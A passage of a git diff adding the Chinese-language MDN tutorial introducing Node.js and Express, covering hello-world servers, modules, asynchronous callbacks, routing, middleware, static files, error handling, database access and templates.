是可移植的,可运行于 Microsoft Windows、macOS、Linux、Solaris、FreeBSD、OpenBSD、WebOS 和 NonStop OS。此外,许多 web 主机供应商对其提供了良好支持(包括专用的基础框架和构建 Node 站点的文档)。</li> + <li>它有一个非常活跃的第三方生态系统和开发者社区,很多人愿意提供帮助。</li> +</ul> + +<p>可以用 Node.js 的 HTTP 包来创建一个简单的 web 服务器。</p> + +<h3 id="Hello_Node.js">Hello Node.js</h3> + +<p>以下示例将创建一个 web 服务器,它将监听对 URL <code>http://127.0.0.1:8000/</code> 所有种类的 HTTP 请求,当接收到一个请求时,脚本将做出响应:返回一个字符串“Hello World”。如果已经安装了 Node,可以按照下面的步骤尝试一下:</p> + +<ol> + <li>打开终端(Windows 中打开命令行工具)</li> + <li>创建一个空文件夹用来存放项目,比如 <code>"test-node"</code>,然后在终端输入以下命令进入这个文件夹:</li> +</ol> + +<pre class="brush: bash">cd test-node</pre> + +<ol start="3"> + <li>用你最喜欢的文本编辑器创建一个名为 <code>"hello.js"</code> 的文件,把以下代码粘贴进来。</li> +</ol> + +<pre class="brush: js">// 调用 HTTP 模块 +const http = require("http"); + +// 创建 HTTP 服务器并监听 8000 端口的所有请求 +http.createServer((request, response) => { + + // 用 HTTP 状态码和内容类型来设定 HTTP 响应头 + response.writeHead(200, {'Content-Type': 'text/plain'}); + + // 发送响应体 "Hello World" + response.end('Hello World\n'); +}).listen(8000); + +// 在控制台打印访问服务器的 URL +console.log('服务器运行于 http://127.0.0.1:8000/');</pre> + +<ol start="4"> + <li>将其保存在刚才创建的文件夹。</li> + <li>返回终端并输入以下命令:</li> +</ol> + +<pre class="brush: bash"><code>$ node "hello.js"</code></pre> + +<p>最后,在浏览器地址栏中输入 <code>"http://localhost:8000"</code> 并按回车,可以看到一个大面积空白的网页,左上角有 “Hello World" 字样。</p> + +<h2 id="Web_框架">Web 框架</h2> + +<p>Node 本身并不支持其它常见的 web 开发任务。如果需要进行一些具体的处理,比如运行其它 HTTP 动词(比如 <code>GET</code>、<code>POST</code>、<code>DELETE</code> 等)、分别处理不同 URL 路径的请求(“路由”)、托管静态文件,或用模板来动态创建响应,那么可能就要自己编写代码了,亦或使用 web 框架,以避免重新发明轮子。</p> + +<h2 id="什么是_Express">什么是 Express?</h2> + +<p><a href="http://www.expressjs.com.cn/">Express</a> 是最流行的 Node 框架,是许多其它流行 <a href="http://www.expressjs.com.cn/resources/frameworks.html">Node 框架</a> 的底层库。它提供了以下机制:</p> + +<ul> + <li>为不同 URL 路径中使用不同 HTTP 动词的请求(路由)编写处理程序。</li> + <li>集成了“视图”渲染引擎,以便通过将数据插入模板来生成响应。</li> + <li>设置常见 web 应用设置,比如用于连接的端口,以及渲染响应模板的位置。</li> + <li>在请求处理管道的任何位置添加额外的请求处理“中间件”。</li> +</ul> + +<p>虽然 Express 本身是极简风格的,但是开发人员通过创建各类兼容的中间件包解决了几乎所有的 web 开发问题。这些库可以实现 cookie、会话、用户登录、URL 参数、<code>POST</code> 数据、安全头等功能。可在 <a href="http://www.expressjs.com.cn/resources/middleware.html">Express 中间件</a> 网页中找到由 Express 团队维护的中间件软件包列表(还有一张流行的第三方软件包列表)。</p> + +<div class="note"> +<p><strong>注:</strong> 这种灵活性是一把双刃剑。虽然有一些中间件包可以解决几乎所有问题或需求,但是挑选合适的包有时也会成为一个挑战。这里构建应用没有“不二法门”,Internet 上许多示例也不是最优的,或者只展示了开发 web 应用所需工作的冰山一角。</p> +</div> + +<h2 id="Node_和_Express_从哪儿来">Node 和 Express 从哪儿来?</h2> + +<p>Node 发布于 2009 年,最初版本仅支持 Linux。NPM 包管理器发布于 2010年,并于 2012 年支持 Windows。目前(2019 年 1 月)的 LTS 版本是 Node 10.15.0,最新版本是 Node 11.8.0。这只是沧海一粟,更多历史信息请到 <a href="https://zh.wikipedia.org/wiki/Node.js#%E6%AD%B7%E5%8F%B2">维基百科</a> 探究。</p> + +<p>Express 发布于 2010 年 11 月,目前 API 的版本为 4.16.4。可以查看 <a href="http://www.expressjs.com.cn/changelog/4x.html#4.16.0">修改记录</a> 来查看当前版本的更新信息,或者访问 <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> 页面来查看更详细的历史发布记录。</p> + +<h2 id="Node_和_Express_有多流行">Node 和 Express 有多流行?</h2> + +<p>一个 web 框架是否流行是至关重要的,因为这预示着它是否会得到持续维护,是否会有更丰富的文档、插件库和技术支持。</p> + +<p>服务器端框架的流行程度不容易量化(尽管有 <a href="http://hotframeworks.com/">Hot Frameworks</a> 这样的网站试图通过计算 GitHub 项目和 StackOverflow 问题的数量等机制来评估框架的流行程度)。可以换个角度思考:Node 和 Express 是否“足够流行”、能够避免冷门平台带来的问题?它们还在持续更新吗?遇到问题时能得到帮助吗?学 Express 能挣钱吗?</p> + +<p>基于使用 Express 的 <a href="https://expressjs.com/en/resources/companies-using-express.html">知名企业</a> 的数量、维护代码库的人数、以及提供免费或付费支持的人数来说,Express是一个流行的框架!</p> + +<h2 id="Express_是固执的吗?">Express 是固执的吗?</h2> + +<p>Web 框架通常自称“固执的(opinionated)”或“包容的(unopinionated)”。</p> + +<p>固执的框架认为应该有一套“标准答案”来解决各类具体任务。通常支持特定领域的快速开发(解决特定类型的问题)。因为标准答案通常易于理解且文档丰富。然而在解决主领域之外的问题时,就会显得不那么灵活,可用的组件和方法也更少。</p> + +<p>相比之下,那些包容的框架,对于用于实现目标的组件组合的最佳方式限制要少得多,甚至不怎么限定组件的选择。这使开发人员更容易使用最合适的工具来完成特定的任务,但是要付出亲自寻找组件的成本。</p> + +<p>Express 是高度包容的。几乎可以将任何兼容的中间件以任意顺序插入到请求处理链中,只要你喜欢。可以用单一文件或多个文件构造应用,怎样的目录结构都可以。有时候你自己都会觉得眼花缭乱!</p> + +<h2 id="Express_代码是什么样子的?">Express 代码是什么样子的?</h2> + +<p>传统的数据驱动型网站中,web 应用是用于等待来自浏览器(或其它客户端)的 HTTP 请求的。当 web 应用收到一个请求时,会根据 URL 的模式,以及 <code>POST</code> 数据和 <code>GET</code> 数据可能包含的信息,来解析请求所需的功能。根据请求的内容,web 应用可能会从数据库读或写一些信息,等等操作来满足请求。随后,web 应用会返回给浏览器一个响应,通常是动态生成一页 HTML,在页面中用所取得的信息填充占位符。</p> + +<p>使用 Express 可以调用特定 HTTP 动词(<code>GET</code>, <code>POST</code>, <code>SET</code>等)函数和 URL 模式(“路由”)函数,还可以指定模板(“视图”)引擎的种类、模板文件的位置以及渲染响应所使用的模板。可以使用 Express 中间件来添加对 cookie、会话、用户、获取 <code>POST</code>/<code>GET</code> 参数,等。可以使用Node 支持的任何类型数据库(Express 本身没有定义任何数据库行为)。</p> + +<p>下文将介绍 Express 和 Node 的一些常见知识点。</p> + +<h3 id="Helloworld_Express">Helloworld Express</h3> + +<p>首先来看 Express 的 <a href="http://www.expressjs.com.cn/starter/hello-world.html">Hello World</a> 的示例(下文将逐行讨论)。</p> + +<div class="note"> +<p><strong>提示:</strong>如果你已经安装了 Node 和 Express(或者你已经按照 <a href="/zh-CN/docs/learn/Server-side/Express_Nodejs/development_environment">下一节</a> 中的说明安装好了),可以将此代码保存为 <strong>app.js</strong>,并通过在 bash 中这样运行它:</p> + +<p><strong><code>node ./app.js</code></strong></p> +</div> + +<pre class="brush: js">const express = require('express'); +const app = express(); + +<strong>app.get('/', (req, res) => { + res.send('Hello World!'); +});</strong> + +app.listen(3000, () => { + console.log('示例应用正在监听 3000 端口!'); +}); +</pre> + +<p>前两行通过 <code>require()</code> 导入 Express 模块,并创建了一个 <a href="http://www.expressjs.com.cn/4x/api.html#app">Express 应用</a>。传统上把这个对象命名为 <code>app</code>,它可以进行路由 HTTP 请求、配置中间件、渲染 HTML 视图、注册模板引擎以及修改 <a href="http://www.expressjs.com.cn/4x/api.html#app.settings.table">应用程序设置</a> 等操作,从而控制应用的行为(例如,环境模式,路由定义是否为区分大小写等)。</p> + +<p>代码的中间部分(从 <code>app.get()</code> 开始共三行)是<strong>路由定义</strong>。<code>app.get()</code> 方法指定了一个回调(callback)函数,该函数在每监听到一个关于站点根目录路径(<code>'/'</code>)的 HTTP <code>GET</code> 请求时调用。此回调函数以一个请求和一个响应对象作为参数,并直接调用响应的 <code><a href="http://www.expressjs.com.cn/4x/api.html#res.send">send()</a></code> 来返回字符串“Hello World!”</p> + +<p>最后一个代码块在 “3000” 端口上启动服务器,并在控制台打印日志。服务器运行时,可用浏览器访问 <code>localhost:3000</code>,看看响应返回了什么。</p> + +<h3 id="导入和创建模块">导入和创建模块</h3> + +<p>模块是 JavaScript 库或文件,可以用 Node 的 <code>require()</code> 函数将它们导入其它代码。Express 本身就是一个模块,Express 应用中使用的中间件和数据库也是。</p> + +<p>下面的代码以 Express 框架为例展示了如何通过名字来导入模块。首先,调用 <code>require()</code> 函数,用字符串(<code>'express'</code>)指定模块的名字,然后调用返回的对象来创建Express 应用 。然后就可以访问应用对象的属性和函数了。</p> + +<pre class="brush: js">const express = require('express'); +const app = express(); +</pre> + +<p>还可以创建自定义模块,并用相同的方法导入。</p> + +<div class="note"> +<p><strong>提示:</strong>你一定会有自建模块的<strong>需求</strong>,因为这可以让代码管理更有序。单文件应用是很难理解和维护的。使用模块还有助于管理名字空间,因为在使用模块时只会导入模块中显式导出的变量。</p> +</div> + +<p>为了让对象暴露于模块之外,只需把它们设置为 <code>exports</code> 对象的附加属性即可。例如,下面的 <strong>square.js </strong>模块就是一个导出了 <code>area()</code> 和 <code>perimeter()</code> 方法的文件:</p> + +<pre class="brush: js">exports.area = width => { return width * width; }; +exports.perimeter = width => { return 4 * width; }; +</pre> + +<p>可以用 <code>require()</code> 导入这个模块,然后调用导出的方法,用法如下:</p> + +<pre class="brush: js">const square = require('./square'); +// 这里 require() 了文件名,省略了 .js 扩展名(可选) +console.log('边长为 4 的正方形面积为 ' + square.area(4));</pre> + +<div class="note"> +<p><strong>注:</strong>为模块指定绝对路径(或模块的名字,见最初的示例)也是可行的。</p> +</div> + +<p>一次赋值不仅能构建一个单一的属性,还能构建一个完整的对象,可以像下面这样把对象赋值给 <code>module.exports</code>(也可以让 <code>exports</code> 对象直接作为一个构造器或另一个函数):</p> + +<pre class="brush: js">module.exports = { + area: width => { return width * width; }, + perimeter: width => { return 4 * width; } +};</pre> + +<div class="blockIndicator note"> +<p><strong>注:</strong>在一个既定的模块内,可以把 <code>exports</code> 想象成 <code>module.exports</code> 的 <a href="http://nodejs.cn/api/modules.html#modules_exports_shortcut">快捷方式</a>。<code>exports</code> 本质上就是在模块初始化前为 <code>module.exports</code> 的值进行初始化的一个变量。这个值是对一个对象(这里是空对象)的引用。这意味着 <code>exports</code> 与 <code>module.exports</code> 引用了同一个对象,也意味着如果为 <code>exports</code> 赋其它值不会影响到 <code>module.exports</code>。</p> +</div> + +<p>更多信息请参阅 <a href="http://nodejs.cn/api/modules.html">模块</a>(Node API 文档)。</p> + +<h3 id="使用异步_APIs">使用异步 APIs</h3> + +<p>JavaScript 代码在完成那些需要一段时间才能完成的操作时,经常会用异步 API 来取代同步 API 。同步 API 下,每个操作完成后才可以进行下一个操作。例如,下列日志函数是同步的,将按顺序将文本打印到控制台(第一、第二)。</p> + +<pre class="brush: js">console.log('第一'); +console.log('第二'); +</pre> + +<p>而异步 API 下,一个操作开始后(在其完成之前)会立即返回。一旦操作完成,API 将使用某种机制来执行附加操作。例如,下面的代码将打印“第二、第一”。这是因为虽然先调用了 <code>setTimeout()</code> 方法并立即返回,但它的操作到 3 秒后才完成。</p> + +<pre class="brush: js">setTimeout(() => { + console.log('第一'); +}, 3000); +console.log('第二');</pre> + +<p>在 Node 中使用无阻塞异步 API 甚至比在浏览器中更为重要,这是因为 Node 是一个单线程事件驱动的执行环境。“单线程”意味着对服务器的所有请求运行在同一个线程上,而不是分布在不同的进程上。这个模式在速度和管理服务器资源方面效率很高,但也意味着如果以同步方式调用的函数占用了很长时间,不仅会阻塞当前请求,还会阻塞当前 web 应用其它所有请求。</p> + +<p>有多种方法可以让一个异步 API 通知当前应用它已执行完毕。最常用的是在调用异步 API 时注册一个回调函数,在 API 操作结束后将“回调”之。这也是上面的代码所使用的方法。</p> + +<div class="note"> +<p class="brush: html"><strong>提示:</strong>如果有一系列独立的异步操作必须按顺序执行,那么使用回调可能会非常“混乱”,因为这会导致多级嵌套回调。人们通常把这个问题叫做“回调地狱”。缓解这个问题有以下办法:良好的编码实践(参考 <a href="http://callbackhell.com/">http://callbackhell.com/</a>)、使用 <a href="https://www.npmjs.com/package/async">async</a> 等模块、迁移至 ES6 并使用 <a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> 等特性。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>Node 和 Express 有一个一般性约定,即:使用“错误优先”回调。这个约定要求回调函数的第一个参数是错误值,而后续的参数包含成功数据。以下博文很好的解释了这个方法的有效性:<a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js/%C2%A0">以 Node.js 之名:理解错误优先回调</a>(fredkschott.com 英文文章)</p> +</div> + +<h3 id="创建路由处理器(Route_handler)">创建路由处理器(Route handler)</h3> + +<p>上文的 Hello World 示例中定义了一个(回调)路由处理函数来处理对站点根目录(<code>'/'</code>)的 HTTP <code>GET</code> 请求。</p> + +<pre class="brush: js">app.<strong>get</strong>('/', (req, res) => { + res.send('Hello World!'); +}); +</pre> + +<p>回调函数将请求和响应对象作为参数。该函数直接调用响应的 <code>send()</code> 以返回字符串“Hello World!”。有 <a href="http://www.expressjs.com.cn/guide/routing.html#response-methods">许多其它响应方法</a> 可以结束请求/响应周期,例如,通过调用 <code>res.json()</code> 来发送JSON 响应、调用 <code>res.sendFile()</code> 来发送文件。</p> + +<div class="note"> +<p><strong>JavaScript 提示</strong>:虽然回调函数的参数命名没有限制,但是当调用回调时,第一个参数将始终是请求,第二个参数将始终是响应。合理的命名它们,在回调体中使用的对象将更容易识别。</p> +</div> + +<p><strong>Express 应用 </strong>对象还提供了为其它所有 HTTP 动词定义路由处理器的方法,大多数处理器的使用方式完全一致:</p> + +<p><code>checkout()</code>, <code>copy()</code>, <strong><code>delete()</code></strong>, <strong><code>get()</code></strong>, <code>head()</code>, <code>lock()</code>, <code>merge()</code>, <code>mkactivity()</code>, <code>mkcol()</code>, <code>move()</code>, <code>m-search()</code>, <code>notify()</code>, <code>options()</code>, <code>patch()</code>, <strong><code>post()</code></strong>, <code>purge()</code>, <strong><code>put()</code></strong>, <code>report()</code>, <code>search()</code>, <code>subscribe()</code>, <code>trace()</code>, <code>unlock()</code>, <code>unsubscribe()</code>.</p> + +<p>有一个特殊的路由方法 <code>app.all()</code>,它可以在响应任意 HTTP 方法时调用。用于在特定路径上为所有请求方法加载中间件函数。以下示例(来自 Express 文档)中的处理程序将在监听到针对 <code>/secret</code> 的任意 HTTP 动词(只要 <a href="http://nodejs.cn/api/http.html#http_http_methods">HTTP 模块</a> 支持)的请求后执行。</p> + +<pre class="brush: js">app.all('/secret', (req, res, next) => { + console.log('访问私有文件 ...'); + next(); // 控制权传递给下一个处理器 +}); +</pre> + +<p>路由器可以匹配 URL 中特定的字符串模式,并从 URL 中提取一些值作为参数传递给路由处理程序(作为请求对象的属性)。</p> + +<p>可以为站点的特定部分提供一组路由处理器(使用公共路由前缀进行组合)。(比如对于一个有 维基(Wiki)内容的站点,可以把所有 Wiki 相关的路由放在同一个文件里,使用路由前缀 <em><code>'/wiki/'</code> </em>访问它们)。在 Express 中可以使用 <a href="http://www.expressjs.com.cn/guide/routing.html#express.Router">express.Router</a> 对象实现。例如,可以把所有维基相关的路由都放在一个 <strong>wiki.js </strong>模块中,然后导出 <code>Router</code> 对象,如下:</p> + +<pre class="brush: js">// wiki.js - 维基路由模块 + +const express = require('express'); +const router = express.Router(); + +// 首页路由 +router.get('/', (req, res) => { + res.send('维基首页'); +}); + +// “关于”页面路由 +router.get('/about', (req, res) => { + res.send('关于此维基'); +}); + +module.exports = router; +</pre> + +<div class="note"> +<p><strong>注意:</strong>向 <code>Router</code> 对象添加路由就像向之前为 <code>app</code> 对象添加路由一样。</p> +</div> + +<p>首先 <code>require()</code> 路由模块(<strong>wiki.js</strong>),然后在 Express 应用中调用 <code>use()</code> 把 <code>Router</code> 添加到中间件处理路径中,就可以在主应用中使用这个模块中的路由处理器了。路由路径有两条:<code style="font-style: normal; font-weight: normal;">/wiki</code> 和 <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>。</p> + +<pre class="brush: js">const wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki); +</pre> + +<p>今后将介绍更多关于路由的信息,特别是关于 <code>Router</code> 的用法,请参见 <a href="/zh-CN/docs/learn/Server-side/Express_Nodejs/routes">路由和控制器</a> 一节。</p> + +<h3 id="使用中间件(Middleware)">使用中间件(Middleware)</h3> + +<p>中间件在 Express 应用中得到了广泛使用,从提供错误处理静态文件、到压缩 HTTP 响应等等。路由函数可以通过向 HTTP 客户端返回一些响应来结束 HTTP “请求 - 响应”周期,而中间件函数<em>通常是</em>对请求或响应执行某些操作,然后调用“栈”里的下一个函数,可能是其它中间件或路由处理器。中间件的调用顺序由应用开发者决定。</p> + +<div class="note"> +<p><strong>注:</strong>中间件可以执行任何操作,运行任何代码,更改请求和响应对象,也可以<strong>结束“请求 - 响应”周期</strong>。如果它没有结束循环,则必须调用 <code>next()</code> 将控制传递给下一个中间件函数(否则请求将成为悬挂请求)。</p> +</div> + +<p>大多数应用会使用<strong>第三方</strong>中间件来简化常见的 web 开发任务,比如 cookie、会话、用户身份验证、访问请求 <code>POST</code> 和 JSON 数据,日志记录等。参见 <a href="http://www.expressjs.com.cn/resources/middleware.html" rel="noopener">Express 团队维护的中间件包列表</a>(包含受欢迎的第三方包)。NPM 有提供其它 Express 包。</p> + +<p>要使用第三方中间件,首先需要使用 NPM 将其安装到当前应用中。比如,要安装 <a href="http://www.expressjs.com.cn/resources/middleware/morgan.html" rel="noopener">morgan</a> HTTP 请求记录器中间件,可以这样做:</p> + +<pre class="brush: bash"><code>$ npm install morgan +</code></pre> + +<p>然后,您可以对 <em>Express 应用对象</em>调用 <code>use()</code> 将该中间件添加到栈:</p> + +<pre class="brush: js">const express = require('express'); +<strong>const logger = require('morgan');</strong> +const app = express(); +<strong>app.use(logger('dev'));</strong> +...</pre> + +<div class="note"> +<p><strong>注意:</strong>中间件和路由函数是按声明顺序调用的。一些中间件的引入顺序很重要(例如,如果会话中间件依赖于 cookie 中间件,则必须先添加 cookie 处理器)。绝大多数情况下要先调用中间件后设置路由,否则路由处理器将无法访问中间件的功能。</p> +</div> + +<p>可以自己编写中间件函数,这是基本技能(仅仅为了创建错误处理代码也需要)。中间件函数和路由处理回调之间的<strong>唯一</strong>区别是:中间件函数有第三个参数 <code>next</code>,在中间件不会结束请求周期时应调用这个 <code>next</code>(它包含中间件函数调用后应调用的<strong>下一个</strong>函数)。</p> + +<p>可以使用 <code>app.use()</code> 或 <code>app.add()</code> 将一个中间件函数添加至处理链中,这取决于中间件是应用于所有响应的,还是应用于特定 HTTP 动词(<code>GET</code>,<code>POST</code>等)响应的。可以为两种情况指定相同的路由,但在调用 <code>app.use()</code> 时路由可以省略。</p> + +<p>下面的示例显示了如何使用这两种方法添加中间件功能,以及是否使用路由。</p> + +<pre class="brush: js">const express = require('express'); +const app = express(); + +// 示例中间件函数 +const a_middleware_function = (req, res, <em>next</em>) => { + // ... 进行一些操作 + next(); // 调用 next() ,Express 将调用处理链中下一个中间件函数。 +}; + +// 用 use() 为所有的路由和动词添加该函数 +app.use(a_middleware_function); + +// 用 use() 为一个特定的路由添加该函数 +app.use('/someroute', a_middleware_function); + +// 为一个特定的 HTTP 动词和路由添加该函数 +app.get('/', a_middleware_function); + +app.listen(3000);</pre> + +<div class="note"> +<p><strong>JavaScript提示:</strong>上面代码中单独声明了中间件函数,并把它设置为回调。之前是把路由处理函数在使用时声明为回调。在 JavaScript 中,两种方法都可行。</p> +</div> + +<p>请参阅 Express 文档中关于 <a href="http://www.expressjs.com.cn/guide/using-middleware.html" rel="noopener">使用</a> 和 <a href="http://www.expressjs.com.cn/guide/writing-middleware.html" rel="noopener">开发</a> Express 中间件的内容。</p> + +<h3 id="托管静态文件">托管静态文件</h3> + +<p>可以使用 <a href="http://www.expressjs.com.cn/4x/api.html#express.static">express.static</a> 中间件来托管静态文件,包括图片、CSS 以及 JavaScript 文件(其实 <code>static()</code> 是 Express 提供的<strong>原生</strong>中间件函数之一)。例如,可以通过下面一行来托管 'public' 文件夹(应位于 Node 调用的同一级)中的文件:</p> + +<pre class="brush: js">app.use(express.static('public')); +</pre> + +<p>现在 'public' 文件夹下的所有文件均可通过在根 URL 后直接添加文件名来访问了,比如:</p> + +<pre><code>http://localhost:3000/images/dog.jpg +http://localhost:3000/css/style.css +http://localhost:3000/js/app.js +http://localhost:3000/about.html +</code></pre> + +<p>可以通过多次调用 <code>static()</code> 来托管多个文件夹。如果一个中间件函数找不到某个文件,将直接传递给下一个中间件(中间件的调用顺序取决于声明顺序)。</p> + +<pre class="brush: js">app.use(express.static('public')); +app.use(express.static('media')); +</pre> + +<p>还可以为静态 URL 创建一个虚拟的前缀,而不是直接把文件添加到根 URL 里。比如,这里 <a href="http://www.expressjs.com.cn/4x/api.html#app.use">指定了一个装载路径</a>,于是这些文件将通过 '/media' 前缀调用:</p> + +<pre class="brush: js">app.use('/media', express.static('public')); +</pre> + +<p>现在可以通过 '/media' 路径前缀来访问 'public' 文件夹中的文件。</p> + +<pre><code>http://localhost:3000/media/images/dog.jpg +http://localhost:3000/media/video/cat.mp4 +http://localhost:3000/media/cry.mp3</code> +</pre> + +<p>更多信息请参阅 Express 文档 <a href="http://www.expressjs.com.cn/starter/static-files.html">托管静态文件</a>。</p> + +<h3 id="错误处理">错误处理</h3> + +<p>用来处理错误的特殊中间件函数有四个参数<code>(err, req, res, next)</code>,而不是之前的三个。例如:</p> + +<pre class="brush: js">app.use((err, req, res, next) => { + console.error(err.stack); + res.status(500).send('出错了!'); +}); +</pre> + +<p>错误处理中间件可以任何所需内容,但是必须在所有其它 <code>app.use()</code> 和路由调用后才能调用,因此它们是需求处理过程中最后的中间件。</p> + +<p>Express 内建了错误处理机制,可以协助处理 app 中没有被处理的错误。默认的错误处理中间件函数在中间件函数栈的末尾。如果一个错误传递给 <code>next()</code> 而没有用错误处理器来处理它,内建处理机制将启动,栈跟踪的错误将回写给客户端。</p> + +<div class="note"> +<p><strong>注:</strong> 生产环境中不保留栈跟踪轨迹。可将环境变量 <code>NODE_ENV</code> 设置为 <code>'production'</code> 来运行所需的生产环境。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>HTTP404 和其它“错误”状态码不作为错误处理。可使用中间件来自行处理这些状态。更多信息请参阅 Express 文档 <a href="http://www.expressjs.com.cn/starter/faq.html#如何处理-404-响应">FAQ</a>。</p> +</div> + +<p>更多信息请参阅 Express 文档 <a href="http://www.expressjs.com.cn/guide/error-handling.html">错误处理</a>。</p> + +<h3 id="使用数据库">使用数据库</h3> + +<p><em>Express</em> 应用可以使用 Node 支持的所有数据库(Express 本身并没有定义任何数据库管理的附加行为或需求)。其中包括:PostgreSQL、MySQL、Redis、SQLite、MongoDB,等等。</p> + +<p>使用数据库前先要用 NPM 来安装驱动程序。比如,要安装流行的 NoSQL 数据库 MongoDB 的驱动程序,可运行以下命令:</p> + +<pre class="brush: bash"><code>$ npm install mongodb +</code></pre> + +<p>数据库可以安装在本地或云端。在 Express 代码中 <code>require()</code> 驱动程序,连接,然后就可以执行增加、读取、更新、删除四种操作(CRUD)。以下示例展示了如何查找 MongoDB 表中 '哺乳动物' 的记录:</p> + +<pre class="brush: js">// MongoDB 3.0 以上版本适用,老版本不适用。 +const MongoClient = require('mongodb').MongoClient; + +MongoClient.connect('mongodb://localhost:27017/animals', (err, client) => { + if(err) { + throw err; + } + + let db = client.db('动物'); + db.collection('哺乳动物').find().toArray((err, result) => { + if(err) throw err; + console.log(result); + client.close(); + }); +});</pre> + +<p>还有一种通过“对象关系映射(Object Relational Mapper,简称 ORM)”间接访问数据库的方法。可以把数据定义为“对象”或“模型”,然后由 ORM 根据给定的数据库格式搞定所有映射关系。这种方法对于开发者有一个好处:可以用 JavaScript 对象的思维而无需直接使用数据库语法,同时传进的数据也有现成的检查工具。稍后详细讨论数据库问题。.</p> + +<p>更多信息请参阅 Express 文档 <a href="http://www.expressjs.com.cn/guide/database-integration.html">数据库集成</a>。</p> + +<h3 id="渲染数据(视图,view)">渲染数据(视图,view)</h3> + +<p>模板引擎可为输出文档的结构指定一个模板,在数据处先放置占位符,并于页面生成时填充。模板通常用于生成 HTML,也可以生成其它类型的文档。Express 支持 <a href="https://github.com/expressjs/express/wiki#template-engines">多个版本的模板引擎</a>,可以参阅:<a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">JavaScript 模板引擎对比评测:Jade、Mustache、Dust与其它</a>。</p> + +<p>在应用设置代码中声明了模板引擎的名称和位置后,Express 可以使用 <code>'views'</code> 和 <code>'view engines'</code> 设置来寻找模板,如下所示(必须事先安装包含模板库的包!):</p> + +<pre class="brush: js">const express = require('express'); +const app = express(); + +// 设置包含模板的文件夹('views') +app.set('views', path.join(__dirname, 'views')); + +// 设置视图引擎,比如'some_template_engine_name' +app.set('view engine', 'some_template_engine_name'); +</pre> + +<p>模板的外观取决于所使用的引擎。假设一个模板文件名为 "index.<template_extension>",其中包括数据变量 <code>'title'</code> 和 <code>'message'</code> 的两个占位符,可以在路由处理器函数中调用 <code><a href="http://www.expressjs.com.cn/4x/api.html#res.render">Response.render()</a></code> 来创建并发送 HTML 响应:</p> + +<pre class="brush: js">app.get('/', (req, res) => { + res.render('index', { title: '关于狗狗', message: '狗狗很牛!' }); +});</pre> + +<p>更多信息请参见 Express 文档 <a href="http://www.expressjs.com.cn/guide/using-template-engines.html">使用模板引擎</a>。</p> + +<h3 id="文件结构">文件结构</h3> + +<p>Express 不对文件结构和组件的选用做任何约定。路由、视图、静态文件,以及其它应用具体逻辑均可按任意文件结构保存在任意数量的文件中。当然可以让整个 Express 应用保存在单一文件中,但是一般情况下,把应用按功能(比如账户管理、博客、论坛)和架构问题域(比如 <a href="/zh-CN/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC 架构</a> 中的模型、视图、控制器)进行拆分是有意义的。</p> + +<p>后文将使用 <strong>Express 应用生成器 </strong>来创建一个模块化的应用框架,从而可以更方便的扩展出新的 web 应用。</p> + +<ul> +</ul> + +<h2 id="小结">小结</h2> + +<p>恭喜,你迈出了 Express/Node 旅程的第一步 !你现在已经了解了 Express 与 Node 的主要优势,并大致了解了 Express 应用的结构 (路由处理器、中间件、错误处理和模板代码)。你还了解到 Express 作为一个高度包容的框架,让你在组织应用结构和库时更自由,更开放!</p> + +<p>诚然,Express 是一个非常轻量的 web 应用框架,这是有意为之的,它巨大的裨益和无尽的潜能都来自第三方的库和功能。今后的章节会详细讨论。下一节会讲如何设置 Node 开发环境,之后就能开始 Express 的实战了。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44">Venkat.R - 管理多版本 Node</a>(英文页面)</li> + <li><a href="http://nodejs.cn/api/modules.html">模块</a> (Node API 中文文档)</li> + <li><a href="http://www.expressjs.com.cn/">Express 主页</a> (Express 国内镜像)</li> + <li><a href="http://www.expressjs.com.cn/starter/basic-routing.html">路由入门</a>(Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/routing.html">路由指南</a> (Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/using-template-engines.html">使用模板引擎</a> (Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/using-middleware.html">使用中间件</a>(Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/writing-middleware.html">开发中间件</a>(Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/database-integration.html">数据库集成</a>(Express 英文文档)</li> + <li><a href="http://www.expressjs.com.cn/starter/static-files.html">托管静态文件</a> (Express 中文文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/error-handling.html">错误处理</a> (Express 英文文档)</li> +</ul> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<h2 id="本章目录">本章目录</h2> + +<div> +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> +</div> diff --git a/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html b/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html new file mode 100644 index 0000000000..6233ef5edb --- /dev/null +++ 